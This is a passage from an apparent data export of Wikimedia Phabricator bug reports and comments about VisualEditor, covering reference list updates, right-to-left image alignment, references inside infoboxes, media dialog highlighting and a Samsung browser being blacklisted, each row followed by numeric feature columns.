the new reference is listed

Actual results:
The added reference was not visible.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
240460,VisualEditor: Templated calls to <references /> (e.g. enwiki's {{reflist}}) don't get updated whilst the user is editing,"Re-titling; the problem is that VisualEditor has no idea that the block of content it's been handed by Parsoid happens to contain a <references /> call, and neither does Parsoid unless it re-parses it.

Consequently, we are expanding the syntax for <references /> to make {{reflist}} unnecessary. WONTFIXing this bug.",,,1385383497,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-a6e5anlp2g7eyftsen6n,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,14.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,9.0,4.0,1.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,14.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,6.0,3.842857142857143,0.7571428571428571,"Re-titling; the problem is that VisualEditor has no idea that the block of content it's been handed by Parsoid happens to contain a <references /> call, and neither does Parsoid unless it re-parses it.

Consequently, we are expanding the syntax for <references /> to make {{reflist}} unnecessary. WONTFIXing this bug."
53295,VisualEditor: Default insert type for RTL wikis should be thumb|left not thumb|right,"An Arabic editor has reported that he/she is having difficulty with getting images to display left-justified (as they should be in RTL wikis).  How does VE handle justification of elements in RTL?  Can images be defaulted to left justify?
This issue might apply to other elements, such as infobox templates.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1373734200,1374619928.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,,False,PHID-TASK-6vanypiuvvogqhl2yqvj,task_description,resolved,True,c1,3,False,False,True,1,,0.0,0.0,0.0,1.0,0.0,9.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,12.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,10.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,12.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,12.0,5.0,2.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,4.036585365853658,0.7317073170731707,"An Arabic editor has reported that he/she is having difficulty with getting images to display left-justified (as they should be in RTL wikis).  How does VE handle justification of elements in RTL?  Can images be defaulted to left justify?
This issue might apply to other elements, such as infobox templates.

--------------------------
**Version**: unspecified
**Severity**: normal"
239913,VisualEditor: Default insert type for RTL wikis should be thumb|left not thumb|right,"Same thing as bug 51851, and that one has more discussion despite being reported later.

*** This bug has been marked as a duplicate of bug 51851 ***",,,1374619928,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-6vanypiuvvogqhl2yqvj,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,6.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.5142857142857142,0.7142857142857143,"Same thing as bug 51851, and that one has more discussion despite being reported later.

*** This bug has been marked as a duplicate of bug 51851 ***"
239908,VisualEditor: Default insert type for RTL wikis should be thumb|left not thumb|right,"(In reply to comment #1)
> Please provide an exact testcase and/or link to reproduce, and browser
> information. Might be a dup of bug 51293?

Andre, here's a test case:

*Go to ar.wikipedia, a RTL wiki

*Enable VE in pref.

*Go to your userpage or sandbox (Google Translate is calling these ""Stadiums""!)

*Use media icon to bring up dialog, pick image.

*Image defaults to the right.  Attempts to click'n'drag it to the left do not work.  

*Curse the LTR imperialists.

Duplicated on both latest Chrome and Firefox, OS 10.6.8.",,,1373930449,,PHID-USER-ttyyrgsrkyonct7hizgv,True,,,PHID-TASK-6vanypiuvvogqhl2yqvj,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,8.0,0.0,2.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,14.5,0.0,1.5,5.0,0.0,0.0,1.0,0.5,7.5,0.0,1.5,0.0,1.5,8.0,6.0,0.0,1.0,0.0,1.5,0.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,3.351851851851852,0.7407407407407407,"(In reply to comment #1)
QUOTE
QUOTE

Andre, here's a test case:

*Go to ar.wikipedia, a RTL wiki

*Enable VE in pref.

*Go to your userpage or sandbox (Google Translate is calling these ""Stadiums""!)

*Use media icon to bring up dialog, pick image.

*Image defaults to the right.  Attempts to click'n'drag it to the left do not work.  

*Curse the LTR imperialists.

Duplicated on both latest Chrome and Firefox, OS 10.6.8."
239904,VisualEditor: Default insert type for RTL wikis should be thumb|left not thumb|right,"Please provide an exact testcase and/or link to reproduce, and browser information. Might be a dup of bug 51293?",,,1373883480,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-6vanypiuvvogqhl2yqvj,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,14.0,5.0,5.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.2727272727272725,1.0,"Please provide an exact testcase and/or link to reproduce, and browser information. Might be a dup of bug 51293?"
53289,References inside templates don't appear in the reference list in VisualEditor,"When viewed in edit mode, references included in an infobox are not included in the references list at the bottom of the article, and the first reference in the body of an article is numbered stating from 1, ignoring any in the infobox.

Example articles: [[https://en.wikipedia.org/wiki/Popocatépetl|w:en:Popocatépetl]] and [[East Toowoomba, Queensland]].

Possibly related to T52474 and/or T52479

**See Also**:
T54398
T52474
T52749
T54427
T55486
T52896",Medium,50.0,1373722680,1434419773.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-c2zo7myzzju4zjk7el5z,task_description,resolved,True,c1,3,False,False,False,1,,1.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,19.0,1.0,3.0,10.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,11.0,13.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,4.0,3.758241758241758,0.6043956043956044,"When viewed in edit mode, references included in an infobox are not included in the references list at the bottom of the article, and the first reference in the body of an article is numbered stating from 1, ignoring any in the infobox.

Example articles: [[URL and [[East Toowoomba, Queensland]].

Possibly related to T52474 and/or T52479

**See Also**:
T54398
T52474
T52749
T54427
T55486
T52896"
475204,References inside templates don't appear in the reference list in VisualEditor,"This seems to be fixed, although T52474 (which is similar) remains open.",,,1434419761,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-c2zo7myzzju4zjk7el5z,task_subcomment,,True,c1,3,True,,,102,,0.0,0.0,0.0,6.0,0.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8125,1.0,"This seems to be fixed, although T52474 (which is similar) remains open."
239579,References inside templates don't appear in the reference list in VisualEditor,*** Bug 69066 has been marked as a duplicate of this bug. ***,,,1407061246,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-c2zo7myzzju4zjk7el5z,task_subcomment,,True,c1,3,True,,,56,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 69066 has been marked as a duplicate of this bug. ***
239571,References inside templates don't appear in the reference list in VisualEditor,"Also, as seen by editing https://en.wikipedia.org/w/index.php?oldid=596381198 you cannot re-use any references that are within an infobox.",,,1392925788,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-c2zo7myzzju4zjk7el5z,task_subcomment,,True,c1,3,False,,,33,,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,3.5238095238095237,1.0,"Also, as seen by editing URL you cannot re-use any references that are within an infobox."
239564,References inside templates don't appear in the reference list in VisualEditor,Gah.,,,1380067199,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-c2zo7myzzju4zjk7el5z,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,Gah.
239558,References inside templates don't appear in the reference list in VisualEditor,This has started happening again. See [[OpenOffice.Org]] and [[Bristol]] for examples.,,,1379790227,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-c2zo7myzzju4zjk7el5z,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,22.0,3.3043478260869565,0.6521739130434783,This has started happening again. See [[OpenOffice.Org]] and [[Bristol]] for examples.
239550,References inside templates don't appear in the reference list in VisualEditor,"Ok thanks for the quick reply, now reported as bug 52427",,,1375398248,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-c2zo7myzzju4zjk7el5z,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,1.0,"Ok thanks for the quick reply, now reported as bug 52427"
239543,References inside templates don't appear in the reference list in VisualEditor,"(In reply to comment #3)
> Mike Christie at en.wp has reported this happening with notes defined in
> image captions. Will the fix for this bug solve that when it is deployed or
> should I file a separate bug?

This is now deployed; references in image captions sounds like a further bug, sadly.",,,1375397689,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-c2zo7myzzju4zjk7el5z,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,16.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.46875,0.875,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE

This is now deployed; references in image captions sounds like a further bug, sadly."
239537,References inside templates don't appear in the reference list in VisualEditor,Mike Christie at en.wp has reported this happening with notes defined in image captions. Will the fix for this bug solve that when it is deployed or should I file a separate bug?,,,1375397290,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-c2zo7myzzju4zjk7el5z,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,11.0,6.0,3.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,14.0,9.0,3.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,4.171428571428572,0.9428571428571428,Mike Christie at en.wp has reported this happening with notes defined in image captions. Will the fix for this bug solve that when it is deployed or should I file a separate bug?
239532,References inside templates don't appear in the reference list in VisualEditor,This is now fixed due to the same fixes as bug 51741 (and in Parsoid) - they're still numbered wrongly (which is bug 50474).,,,1375383745,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-c2zo7myzzju4zjk7el5z,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,7.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,13.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3666666666666667,0.8666666666666667,This is now fixed due to the same fixes as bug 51741 (and in Parsoid) - they're still numbered wrongly (which is bug 50474).
239527,References inside templates don't appear in the reference list in VisualEditor,"Sorry, that second possibly related bug should be bug 50749",,,1373722788,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-c2zo7myzzju4zjk7el5z,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.545454545454546,0.9090909090909091,"Sorry, that second possibly related bug should be bug 50749"
53287,VisualEditor: Stronger highlight of selected item in the media inserter dialog,"From English Wikipedia, John Broughton (♫♫) 22:40, 12 July 2013 (UTC):

When selecting an image to be inserted, the selected thumbnail has a black box around it. The lines of the box are so fine as to make them almost invisible. A much better feedback would be if, when a thumbnail is selected, it turns blue in exactly the same way as when an image in an article is selected. (A blue coloring behavior - not the same as within an article, though - does happen for some images, though not most. For example, if one searches for ""Sandbox"", four of the first twelve thumbnails do add some blue if selected, though in one case just a sliver.)

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1373722440,1377829266.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-deqihdmtktthecojw62o,task_description,resolved,True,c1,3,False,False,True,1,,1.5,0.0,0.0,1.5,1.0,6.0,1.0,0.0,2.0,1.5,3.0,0.0,0.0,0.5,0.0,0.0,0.0,6.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,4.5,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.5,8.0,4.5,0.0,9.5,0.0,0.0,0.0,0.0,2.5,0.0,4.0,0.0,1.5,12.0,4.0,0.0,1.0,0.0,1.5,0.0,1.5,5.0,0.5,1.0,0.5,0.5,0.0,3.7270833333333333,0.6954475308641975,"From English Wikipedia, John Broughton (♫♫) 22:40, 12 July 2013 (UTC):

When selecting an image to be inserted, the selected thumbnail has a black box around it. The lines of the box are so fine as to make them almost invisible. A much better feedback would be if, when a thumbnail is selected, it turns blue in exactly the same way as when an image in an article is selected. (A blue coloring behavior - not the same as within an article, though - does happen for some images, though not most. For example, if one searches for ""Sandbox"", four of the first twelve thumbnails do add some blue if selected, though in one case just a sliver.)

--------------------------
**Version**: unspecified
**Severity**: enhancement"
239446,VisualEditor: Stronger highlight of selected item in the media inserter dialog,This was done as part of the re-work of the media inserter in late July; marking as such.,,,1377829266,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-deqihdmtktthecojw62o,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,23.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,9.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.272727272727273,0.8636363636363636,This was done as part of the re-work of the media inserter in late July; marking as such.
53274,VisualEditor: Samsung browser fails the blacklist,"VisualEditor is disabled on the built-in & default browser, which has the user agent:
>Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-N7000 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30

",Medium,50.0,1373683500,1718626061.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-cc7gmrf5ioc7lfjjvyzo,task_description,declined,True,c1,3,False,False,False,1,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,10.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8095238095238093,0.9523809523809523,"VisualEditor is disabled on the built-in & default browser, which has the user agent:
QUOTE

"
2358759,VisualEditor: Samsung browser fails the blacklist,See {T367735},,,1718626061,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-cc7gmrf5ioc7lfjjvyzo,task_subcomment,,True,c1,3,True,,,572,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,See {T367735}
497001,VisualEditor: Samsung browser fails the blacklist,"@jayvdb, ah, so it was a [[http://www.gsmarena.com/samsung_galaxy_note_n7000-4135.php|Galaxy Note N-7000]]. Thanks!",,,1437858058,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-cc7gmrf5ioc7lfjjvyzo,task_subcomment,,True,c1,3,True,,,107,,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,28.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,2.6666666666666665,0.8333333333333334,"SCREEN_NAME, ah, so it was a [[URL Note N-7000]]. Thanks!"
496920,VisualEditor: Samsung browser fails the blacklist,">>! In T53274#1481575, @Neil_P._Quinn_WMF wrote:
> @jayvdb, which device did you notice this on, ...

This is in the user-agent I posted with the bug.

> and what was the browser named? Just ""internet""? (Sorry, I know this is two years old!)

The app icon was 'Internet' (upper case I)

My phone has since been bricked & replaced, so I cant retest this bug.",,,1437831971,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-cc7gmrf5ioc7lfjjvyzo,task_subcomment,,True,c1,3,False,,,107,,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,8.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,20.0,4.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,8.0,4.0,0.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1,0.78,"QUOTE
QUOTE

This is in the user-agent I posted with the bug.

QUOTE

The app icon was 'Internet' (upper case I)

My phone has since been bricked & replaced, so I cant retest this bug."
